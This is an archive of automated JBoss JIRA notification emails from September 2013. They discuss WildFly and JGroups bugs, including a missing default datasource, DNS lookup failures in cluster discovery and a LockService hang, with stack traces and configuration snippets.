>          Issue Type: Bug
>          Components: ConfigAdmin, Domain Management, EE, JCA, JPA / Hibernate, Web Console
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Lincoln Baxter III
>
> The EE spec states that a default datasource must be supplied under: java:comp/DefaultDataSource, and if none is specified by the @Resource or persistence.xml, it must be assumed:
>  {code}EE 5.19
> The Java EE Platform requires that a Java EE Product Provider provide a database 
> in the operational environment (see Section EE.2.6, ?Database?). The Java EE 
> Product Provider must also provide a preconfigured, default data source for use by 
> the application in accessing this database.
> The Java EE Product Provider must make the default data source accessible to 
> the application under the JNDI name java:comp/DefaultDataSource.
> The Application Component Provider or Deployer may explicitly bind a 
> DataSource resource reference to the default data source using the lookup element 
> of the Resource annotation or the lookup-name element of the resource-ref
> deployment descriptor element. For example,
> @Resource(lookup="java:comp/DefaultDataSource")
> DataSource myDS;
> In the absence of such a binding, the mapping of the reference will default to 
> the product's default data source.
> For example, the following will map to a preconfigured data source for the 
> product's default database:
> @Resource
> DataSource myDS;{code}
> This, isn't working however:
> {code}
> <persistence version="2.1" xmlns="http://xmlns.jcp.org/xml/ns/persistence" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
>    xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/persistence http://www.oracle.com/webfolder/technetwork/jsc/xml/ns/persistence/persistence_2_1.xsd">
>    <persistence-unit name="default" transaction-type="JTA">
>    </persistence-unit>
> </persistence>{code}
> Results in: 
> {code}
> 10:41:31,002 ERROR [org.jboss.msc.service.fail] (ServerService Thread Pool -- 50) MSC000001: Failed to start service jboss.persistenceunit."jpa-standard.war#default": org.jboss.msc.service.StartException in service jboss.persistenceunit."jpa-standard.war#default": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:134) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_21]
> 	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_21]
> 	at java.lang.Thread.run(Thread.java:722) [rt.jar:1.7.0_21]
> 	at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final.jar:2.1.0.Final]
> Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.determineDialect(DialectFactoryImpl.java:98)
> 	at org.hibernate.engine.jdbc.dialect.internal.DialectFactoryImpl.buildDialect(DialectFactoryImpl.java:66)
> 	at org.hibernate.engine.jdbc.internal.JdbcServicesImpl.configure(JdbcServicesImpl.java:193)
> 	at org.hibernate.boot.registry.internal.StandardServiceRegistryImpl.configureService(StandardServiceRegistryImpl.java:88)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.initializeService(AbstractServiceRegistryImpl.java:159)
> 	at org.hibernate.service.internal.AbstractServiceRegistryImpl.getService(AbstractServiceRegistryImpl.java:131)
> 	at org.hibernate.cfg.Configuration.buildTypeRegistrations(Configuration.java:1844)
> 	at org.hibernate.cfg.Configuration.buildSessionFactory(Configuration.java:1802)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:844)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl$4.perform(EntityManagerFactoryBuilderImpl.java:836)
> 	at org.hibernate.boot.registry.classloading.internal.ClassLoaderServiceImpl.withTccl(ClassLoaderServiceImpl.java:368)
> 	at org.hibernate.jpa.boot.internal.EntityManagerFactoryBuilderImpl.build(EntityManagerFactoryBuilderImpl.java:835)
> 	at org.jboss.as.jpa.hibernate4.management.TwoPhaseBootstrapImpl.build(TwoPhaseBootstrapImpl.java:44)
> 	at org.jboss.as.jpa.service.PersistenceUnitServiceImpl$1.run(PersistenceUnitServiceImpl.java:115) [wildfly-jpa-8.0.0.Alpha4.jar:8.0.0.Alpha4]
> 	... 4 more
> 10:41:31,010 ERROR [org.jboss.as.controller.management-operation] (DeploymentScanner-threads - 1) JBAS014613: Operation ("full-replace-deployment") failed - address: ([]) - failure description: {"JBAS014671: Failed services" => {"jboss.persistenceunit.\"jpa-standard.war#default\"" => "org.jboss.msc.service.StartException in service jboss.persistenceunit.\"jpa-standard.war#default\": org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set
>     Caused by: org.hibernate.HibernateException: Connection cannot be null when 'hibernate.dialect' not set"}}
> {code}
> Additionally, actually specifying the expected JDNI name of the default DS like this:
> {code}   <persistence-unit name="default" transaction-type="JTA">
>       <jta-data-source>java:comp/DefaultDataSource</jta-data-source>
>       <exclude-unlisted-classes>false</exclude-unlisted-classes>
>    </persistence-unit>{code}
> Results in this:
> {code}
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.naming.context.java.module.jpa-standard.jpa-standard.DefaultDataSource (missing) dependents: [service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__] 
>       service jboss.persistenceunit."jpa-standard.war#default".__FIRST_PHASE__ (missing) dependents: [service jboss.deployment.unit."jpa-standard.war".POST_MODULE] 
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Wed Sep 18 09:08:03 2013
From: jira-events at lists.jboss.org (Antonio Parolini (JIRA))
Date: Wed, 18 Sep 2013 09:08:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-823) TCCPING: "failed creating
 initial list of hosts" fails stack startup
In-Reply-To: <JIRA.12367674.1221675961000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12367674.1221675961000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12367674.1221675961000.32989.1379509683764@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-823?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805469#comment-12805469 ] 

Antonio Parolini commented on JGRP-823:
---------------------------------------

This is a big issue for us. 

If the DNS lookup fails anytime after that instance started, the TCPping protocol just stops working for ever, until you restart all the clustered nodes.

Here is what we got this morning:

{code}
2013-09-18 07:15:54,254 ERROR [org.jgroups.protocols.TCPGOSSIP] failed creating initial hosts
java.net.UnknownHostException: gossip-digprod-10: gossip-digprod-10
	at java.net.InetAddress.getAllByName0(InetAddress.java:1145)
	at java.net.InetAddress.getAllByName(InetAddress.java:1072)
	at java.net.InetAddress.getAllByName(InetAddress.java:1008)
	at java.net.InetAddress.getByName(InetAddress.java:958)
	at org.jgroups.stack.IpAddress.<init>(IpAddress.java:49)
	at org.jgroups.protocols.TCPGOSSIP.createInitialHosts(TCPGOSSIP.java:188)
	at org.jgroups.protocols.TCPGOSSIP.setProperties(TCPGOSSIP.java:71)
	at org.jgroups.stack.Protocol.setPropertiesInternal(Protocol.java:223)
	at org.jgroups.stack.Configurator$ProtocolConfiguration.createLayer(Configurator.java:707)
	at org.jgroups.stack.Configurator$ProtocolConfiguration.access$000(Configurator.java:606)
	at org.jgroups.stack.Configurator.createProtocols(Configurator.java:387)
	at org.jgroups.stack.Configurator.setupProtocolStack(Configurator.java:60)
	at org.jgroups.stack.ProtocolStack.setup(ProtocolStack.java:180)
	at org.jgroups.JChannel.open(JChannel.java:525)
	at org.jgroups.JChannel$CloserThread.run(JChannel.java:1635)
2013-09-18 07:15:54,255 ERROR [org.jgroups.JChannel] failure reopening channel: org.jgroups.ChannelException: failed to open channel
2013-09-18 07:17:52,867 ERROR [org.jgroups.stack.ProtocolStack] no down protocol available !
{code}
                
> TCCPING: "failed creating initial list of hosts" fails stack startup
> --------------------------------------------------------------------
>
>                 Key: JGRP-823
>                 URL: https://issues.jboss.org/browse/JGRP-823
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 2.6.3
>         Environment: RHEL4 x64, Sun JDK 1.5.0_16 64-bit
>            Reporter: P Eger
>            Assignee: Bela Ban
>             Fix For: 2.7
>
>         Attachments: stack.xml
>
>
> Using TCPPING is dangerous, as if any of the servers do not have a valid DNS entry the stack will fail with below execption. I would thing a much preferable behaviour in this case would be to silently (or with WARN) ignore those servers that do not name resolve. In the below example, csvr1and csvr2 exist and are online/started, csvr3 is attempting to start and csvr4 is offline/non-existent. csvr3 fails since it cannot DNS resolve csvr4, even though csvr1,csvr2 are avaiable and ready to process. Basically i think that a DNS lookup error should be treated equivalent to a connection failure, possibly by delaying the name resolution until later when the actual connect is attempted.
> <TCPPING timeout="15000"
> initial_hosts="${jgroups.tcpping.initial_hosts:csvr1[17801],csvr2[17801],csvr3[17801],csvr4[17801]}}"
> port_range="1"
> num_initial_members="2"/>
> ERROR | failed creating initial list of hosts
> java.net.UnknownHostException: csvr4: csvr4
>         at java.net.InetAddress.getAllByName0(InetAddress.java:1145)
>         at java.net.InetAddress.getAllByName(InetAddress.java:1072)
>         at java.net.InetAddress.getAllByName(InetAddress.java:1008)
>         at java.net.InetAddress.getByName(InetAddress.java:958)
>         at org.jgroups.stack.IpAddress.<init>(IpAddress.java:53)
>         at org.jgroups.protocols.TCPPING.createInitialHosts(TCPPING.java:147)
>         at org.jgroups.protocols.TCPPING.setProperties(TCPPING.java:77)
>         at org.jgroups.stack.Protocol.setPropertiesInternal(Protocol.java:97)
>         at org.jgroups.stack.Configurator$ProtocolConfiguration.createLayer(Configurator.java:828)
>         at org.jgroups.stack.Configurator$ProtocolConfiguration.access$000(Configurator.java:724)
>         at org.jgroups.stack.Configurator.createProtocols(Configurator.java:505)
>         at org.jgroups.stack.Configurator.setupProtocolStack(Configurator.java:61)
>         at org.jgroups.stack.ProtocolStack.setup(ProtocolStack.java:285)
>         at org.jgroups.JChannel.init(JChannel.java:1506)
>         at org.jgroups.JChannel.<init>(JChannel.java:246)
>         at org.jgroups.JChannel.<init>(JChannel.java:184)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 09:08:04 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Wed, 18 Sep 2013 09:08:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2057)
 org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has
 unstable compareTo()
In-Reply-To: <JIRA.12500645.1379015464000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500645.1379015464000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500645.1379015464000.33001.1379509684521@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2057?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805472#comment-12805472 ] 

Stuart Douglas commented on WFLY-2057:
--------------------------------------

Problematic collisions are:

Collision class org.jboss.as.server.deployment.service.ServiceActivatorDependencyProcessor   class org.jboss.as.service.SarModuleDependencyProcessor
Collision class org.jboss.as.ee.component.deployers.EEAnnotationProcessor   class org.jboss.as.messaging.deployment.MessagingJMSDefinitionAnnotationParser
Collision class org.jboss.as.messaging.deployment.MessagingJMSDefinitionDeploymentProcessor   class org.jboss.as.ejb3.deployment.processors.EjbRefProcessor
Collision class org.jboss.as.server.deployment.module.ManifestDependencyProcessor   class org.jboss.as.jsf.deployment.JSFManagedBeanProcessor

I'm not sure why there were jboss-all.xml problems, all that dup does is add an attachment to an attachment list, the ordering should not matter.
                
> org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has unstable compareTo()
> -----------------------------------------------------------------------------------------
>
>                 Key: WFLY-2057
>                 URL: https://issues.jboss.org/browse/WFLY-2057
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>            Reporter: David Lloyd
>            Assignee: Stuart Douglas
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> As the description says, org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor's compareTo is wrong.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 09:10:03 2013
From: jira-events at lists.jboss.org (Stuart Douglas (JIRA))
Date: Wed, 18 Sep 2013 09:10:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2057)
 org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has
 unstable compareTo()
In-Reply-To: <JIRA.12500645.1379015464000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500645.1379015464000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500645.1379015464000.33004.1379509803421@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2057?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805473#comment-12805473 ] 

Stuart Douglas commented on WFLY-2057:
--------------------------------------

ah, they are being stored in a ConcurrentSkipListSet, so now compareTo will actually return 0.
                
> org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor has unstable compareTo()
> -----------------------------------------------------------------------------------------
>
>                 Key: WFLY-2057
>                 URL: https://issues.jboss.org/browse/WFLY-2057
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>            Reporter: David Lloyd
>            Assignee: Stuart Douglas
>            Priority: Blocker
>             Fix For: 8.0.0.Beta1
>
>
> As the description says, org.jboss.as.server.deployment.RegisteredDeploymentUnitProcessor's compareTo is wrong.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 09:14:03 2013
From: jira-events at lists.jboss.org (Antonio Parolini (JIRA))
Date: Wed, 18 Sep 2013 09:14:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-823) TCCPING: "failed creating
 initial list of hosts" fails stack startup
In-Reply-To: <JIRA.12367674.1221675961000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12367674.1221675961000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12367674.1221675961000.33014.1379510043376@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-823?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805476#comment-12805476 ] 

Antonio Parolini commented on JGRP-823:
---------------------------------------

For info, we are using tcp gossip..

{code}
            <TCPGOSSIP initial_hosts="@GOSSIPSERVERS@" 
                       gossip_refresh_rate="10000" 
                       num_initial_members="2"
                       down_thread="false" 
                       up_thread="false"/>
{code}
                
> TCCPING: "failed creating initial list of hosts" fails stack startup
> --------------------------------------------------------------------
>
>                 Key: JGRP-823
>                 URL: https://issues.jboss.org/browse/JGRP-823
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 2.6.3
>         Environment: RHEL4 x64, Sun JDK 1.5.0_16 64-bit
>            Reporter: P Eger
>            Assignee: Bela Ban
>             Fix For: 2.7
>
>         Attachments: stack.xml
>
>
> Using TCPPING is dangerous, as if any of the servers do not have a valid DNS entry the stack will fail with below execption. I would thing a much preferable behaviour in this case would be to silently (or with WARN) ignore those servers that do not name resolve. In the below example, csvr1and csvr2 exist and are online/started, csvr3 is attempting to start and csvr4 is offline/non-existent. csvr3 fails since it cannot DNS resolve csvr4, even though csvr1,csvr2 are avaiable and ready to process. Basically i think that a DNS lookup error should be treated equivalent to a connection failure, possibly by delaying the name resolution until later when the actual connect is attempted.
> <TCPPING timeout="15000"
> initial_hosts="${jgroups.tcpping.initial_hosts:csvr1[17801],csvr2[17801],csvr3[17801],csvr4[17801]}}"
> port_range="1"
> num_initial_members="2"/>
> ERROR | failed creating initial list of hosts
> java.net.UnknownHostException: csvr4: csvr4
>         at java.net.InetAddress.getAllByName0(InetAddress.java:1145)
>         at java.net.InetAddress.getAllByName(InetAddress.java:1072)
>         at java.net.InetAddress.getAllByName(InetAddress.java:1008)
>         at java.net.InetAddress.getByName(InetAddress.java:958)
>         at org.jgroups.stack.IpAddress.<init>(IpAddress.java:53)
>         at org.jgroups.protocols.TCPPING.createInitialHosts(TCPPING.java:147)
>         at org.jgroups.protocols.TCPPING.setProperties(TCPPING.java:77)
>         at org.jgroups.stack.Protocol.setPropertiesInternal(Protocol.java:97)
>         at org.jgroups.stack.Configurator$ProtocolConfiguration.createLayer(Configurator.java:828)
>         at org.jgroups.stack.Configurator$ProtocolConfiguration.access$000(Configurator.java:724)
>         at org.jgroups.stack.Configurator.createProtocols(Configurator.java:505)
>         at org.jgroups.stack.Configurator.setupProtocolStack(Configurator.java:61)
>         at org.jgroups.stack.ProtocolStack.setup(ProtocolStack.java:285)
>         at org.jgroups.JChannel.init(JChannel.java:1506)
>         at org.jgroups.JChannel.<init>(JChannel.java:246)
>         at org.jgroups.JChannel.<init>(JChannel.java:184)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 09:16:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Wed, 18 Sep 2013 09:16:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-823) TCCPING: "failed creating
 initial list of hosts" fails stack startup
In-Reply-To: <JIRA.12367674.1221675961000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12367674.1221675961000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12367674.1221675961000.33024.1379510164853@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-823?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805477#comment-12805477 ] 

Bela Ban commented on JGRP-823:
-------------------------------

* You mention TCPPING but the stack trace shows *TCPGOSSIP*...
* Seems you use an old and unsupported version: JChannel$CloserThread was removed ages ago
** I don't support outdated versions, see https://community.jboss.org/docs/DOC-14454 for details
* If this is an issue in a supported release (e.g. 3.4.x or 3.3.x), then create a new JIRA
                
> TCCPING: "failed creating initial list of hosts" fails stack startup
> --------------------------------------------------------------------
>
>                 Key: JGRP-823
>                 URL: https://issues.jboss.org/browse/JGRP-823
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 2.6.3
>         Environment: RHEL4 x64, Sun JDK 1.5.0_16 64-bit
>            Reporter: P Eger
>            Assignee: Bela Ban
>             Fix For: 2.7
>
>         Attachments: stack.xml
>
>
> Using TCPPING is dangerous, as if any of the servers do not have a valid DNS entry the stack will fail with below execption. I would thing a much preferable behaviour in this case would be to silently (or with WARN) ignore those servers that do not name resolve. In the below example, csvr1and csvr2 exist and are online/started, csvr3 is attempting to start and csvr4 is offline/non-existent. csvr3 fails since it cannot DNS resolve csvr4, even though csvr1,csvr2 are avaiable and ready to process. Basically i think that a DNS lookup error should be treated equivalent to a connection failure, possibly by delaying the name resolution until later when the actual connect is attempted.
> <TCPPING timeout="15000"
> initial_hosts="${jgroups.tcpping.initial_hosts:csvr1[17801],csvr2[17801],csvr3[17801],csvr4[17801]}}"
> port_range="1"
> num_initial_members="2"/>
> ERROR | failed creating initial list of hosts
> java.net.UnknownHostException: csvr4: csvr4
>         at java.net.InetAddress.getAllByName0(InetAddress.java:1145)
>         at java.net.InetAddress.getAllByName(InetAddress.java:1072)
>         at java.net.InetAddress.getAllByName(InetAddress.java:1008)
>         at java.net.InetAddress.getByName(InetAddress.java:958)
>         at org.jgroups.stack.IpAddress.<init>(IpAddress.java:53)
>         at org.jgroups.protocols.TCPPING.createInitialHosts(TCPPING.java:147)
>         at org.jgroups.protocols.TCPPING.setProperties(TCPPING.java:77)
>         at org.jgroups.stack.Protocol.setPropertiesInternal(Protocol.java:97)
>         at org.jgroups.stack.Configurator$ProtocolConfiguration.createLayer(Configurator.java:828)
>         at org.jgroups.stack.Configurator$ProtocolConfiguration.access$000(Configurator.java:724)
>         at org.jgroups.stack.Configurator.createProtocols(Configurator.java:505)
>         at org.jgroups.stack.Configurator.setupProtocolStack(Configurator.java:61)
>         at org.jgroups.stack.ProtocolStack.setup(ProtocolStack.java:285)
>         at org.jgroups.JChannel.init(JChannel.java:1506)
>         at org.jgroups.JChannel.<init>(JChannel.java:246)
>         at org.jgroups.JChannel.<init>(JChannel.java:184)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 09:22:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 09:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1972) CLI command should not allow
 same runtime-name to be used at another deploy
In-Reply-To: <JIRA.12499646.1377792094000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499646.1377792094000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499646.1377792094000.33033.1379510523480@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1972?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805481#comment-12805481 ] 

RH Bugzilla Integration commented on WFLY-1972:
-----------------------------------------------

Petr Kremensky <pkremens at redhat.com> made a comment on [bug 983980|https://bugzilla.redhat.com/show_bug.cgi?id=983980]

Verified in EAP 6.2.0.ER2.

EAP is now acting as described in comment 2

If user tries to deploy application with already used runtime name:
"There is already a deployment called ${name} with the same runtime name ${runtime-name} on server group ${server-group}"
message is shown.
                
> CLI command should not allow same runtime-name to be used at another deploy
> ---------------------------------------------------------------------------
>
>                 Key: WFLY-1972
>                 URL: https://issues.jboss.org/browse/WFLY-1972
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Emmanuel Hugonnet
>            Assignee: Brian Stansberry
>
> Having two deployments with the same runtime-name in the domain content repository, so they can be deployed to different instances, is ok.
> Having two deployments with the same runtime name actually deployed to an instance is not (that's the issue here).
> Same for standalone.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 09:22:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Wed, 18 Sep 2013 09:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1972) CLI command should not allow
 same runtime-name to be used at another deploy
In-Reply-To: <JIRA.12499646.1377792094000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499646.1377792094000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499646.1377792094000.33037.1379510523639@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1972?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805482#comment-12805482 ] 

RH Bugzilla Integration commented on WFLY-1972:
-----------------------------------------------

Petr Kremensky <pkremens at redhat.com> changed the Status of [bug 983980|https://bugzilla.redhat.com/show_bug.cgi?id=983980] from ON_QA to VERIFIED
                
> CLI command should not allow same runtime-name to be used at another deploy
> ---------------------------------------------------------------------------
>
>                 Key: WFLY-1972
>                 URL: https://issues.jboss.org/browse/WFLY-1972
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Emmanuel Hugonnet
>            Assignee: Brian Stansberry
>
> Having two deployments with the same runtime-name in the domain content repository, so they can be deployed to different instances, is ok.
> Having two deployments with the same runtime name actually deployed to an instance is not (that's the issue here).
> Same for standalone.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 09:26:03 2013
From: jira-events at lists.jboss.org (Antonio Parolini (JIRA))
Date: Wed, 18 Sep 2013 09:26:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-823) TCCPING: "failed creating
 initial list of hosts" fails stack startup
In-Reply-To: <JIRA.12367674.1221675961000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12367674.1221675961000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12367674.1221675961000.33047.1379510763735@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-823?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805483#comment-12805483 ] 

Antonio Parolini commented on JGRP-823:
---------------------------------------

Right, it is for TCPGossip.

And it's of a supported release:
JBOSS: version EAP 4 ( 4.3.0.GA_CP10)
JGROUP: 2.4.10.Final

Thanks for your help.
                
> TCCPING: "failed creating initial list of hosts" fails stack startup
> --------------------------------------------------------------------
>
>                 Key: JGRP-823
>                 URL: https://issues.jboss.org/browse/JGRP-823
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 2.6.3
>         Environment: RHEL4 x64, Sun JDK 1.5.0_16 64-bit
>            Reporter: P Eger
>            Assignee: Bela Ban
>             Fix For: 2.7
>
>         Attachments: stack.xml
>
>
> Using TCPPING is dangerous, as if any of the servers do not have a valid DNS entry the stack will fail with below execption. I would thing a much preferable behaviour in this case would be to silently (or with WARN) ignore those servers that do not name resolve. In the below example, csvr1and csvr2 exist and are online/started, csvr3 is attempting to start and csvr4 is offline/non-existent. csvr3 fails since it cannot DNS resolve csvr4, even though csvr1,csvr2 are avaiable and ready to process. Basically i think that a DNS lookup error should be treated equivalent to a connection failure, possibly by delaying the name resolution until later when the actual connect is attempted.
> <TCPPING timeout="15000"
> initial_hosts="${jgroups.tcpping.initial_hosts:csvr1[17801],csvr2[17801],csvr3[17801],csvr4[17801]}}"
> port_range="1"
> num_initial_members="2"/>
> ERROR | failed creating initial list of hosts
> java.net.UnknownHostException: csvr4: csvr4
>         at java.net.InetAddress.getAllByName0(InetAddress.java:1145)
>         at java.net.InetAddress.getAllByName(InetAddress.java:1072)
>         at java.net.InetAddress.getAllByName(InetAddress.java:1008)
>         at java.net.InetAddress.getByName(InetAddress.java:958)
>         at org.jgroups.stack.IpAddress.<init>(IpAddress.java:53)
>         at org.jgroups.protocols.TCPPING.createInitialHosts(TCPPING.java:147)
>         at org.jgroups.protocols.TCPPING.setProperties(TCPPING.java:77)
>         at org.jgroups.stack.Protocol.setPropertiesInternal(Protocol.java:97)
>         at org.jgroups.stack.Configurator$ProtocolConfiguration.createLayer(Configurator.java:828)
>         at org.jgroups.stack.Configurator$ProtocolConfiguration.access$000(Configurator.java:724)
>         at org.jgroups.stack.Configurator.createProtocols(Configurator.java:505)
>         at org.jgroups.stack.Configurator.setupProtocolStack(Configurator.java:61)
>         at org.jgroups.stack.ProtocolStack.setup(ProtocolStack.java:285)
>         at org.jgroups.JChannel.init(JChannel.java:1506)
>         at org.jgroups.JChannel.<init>(JChannel.java:246)
>         at org.jgroups.JChannel.<init>(JChannel.java:184)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 18 09:28:03 2013
From: jira-events at lists.jboss.org (Architect SoftWeb.ISD (JIRA))
Date: Wed, 18 Sep 2013 09:28:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1660) LockService hangs during
 concurrent access (tryLock/tryLock(timeout)/lock/unlock)
In-Reply-To: <JIRA.12496765.1374141727000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496765.1374141727000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496765.1374141727000.33072.1379510883748@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JGRP-1660?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801088#comment-12801088 ] 

Architect SoftWeb.ISD edited comment on JGRP-1660 at 9/18/13 9:27 AM:
----------------------------------------------------------------------

Test case is added which is needed to be able to reproduce hanging at the special conditions.
Unfortunately, it was converted to JUnit test because we don't use TestNG.
lock.xml loading is also changed to be relative to test.

                
      was (Author: architect.softweb.isd):
    Changed test case is added which needs to be able to reproduce hanging at the special conditions.
Unfortunately, it was converted to JUnit test because we don't use TestNG.
lock.xml loading is also changed to be relative to test.

                  
> LockService hangs during concurrent access (tryLock/tryLock(timeout)/lock/unlock)
> ---------------------------------------------------------------------------------
>
>                 Key: JGRP-1660
>                 URL: https://issues.jboss.org/browse/JGRP-1660
>             Project: JGroups
>          Issue Type: Bug
>    Affects Versions: 3.2.4, 3.3.3
>         Environment: Intel(R) Core(TM) i5-2310 CPU @ 2.90GHz
> 6GB RAM
> Windows 7
> JRE 1.6.31
>            Reporter: Architect SoftWeb.ISD
>            Assignee: Bela Ban
>             Fix For: 3.3.5, 3.4
>
>         Attachments: bla2.java, lock.xml, LockServiceStabilityTestCase.java, LockServiceStabilityTestCase.java, lockservice_stability_testcase.jar
>
>
> We have rather simple test that starts some amount of threads which in turn simultaneously obtain lock through LockService#getLock then perform lock and unlock.
> Each thread works during some time.
> After couple of seconds of work some threads just hang up in Locking$ClientLock(Object).wait() called indirectly from LockService$LockImpl.tryLock().
> Here is stack trace:
> Thread [Thread-ClientImitation-1] (Suspended)                
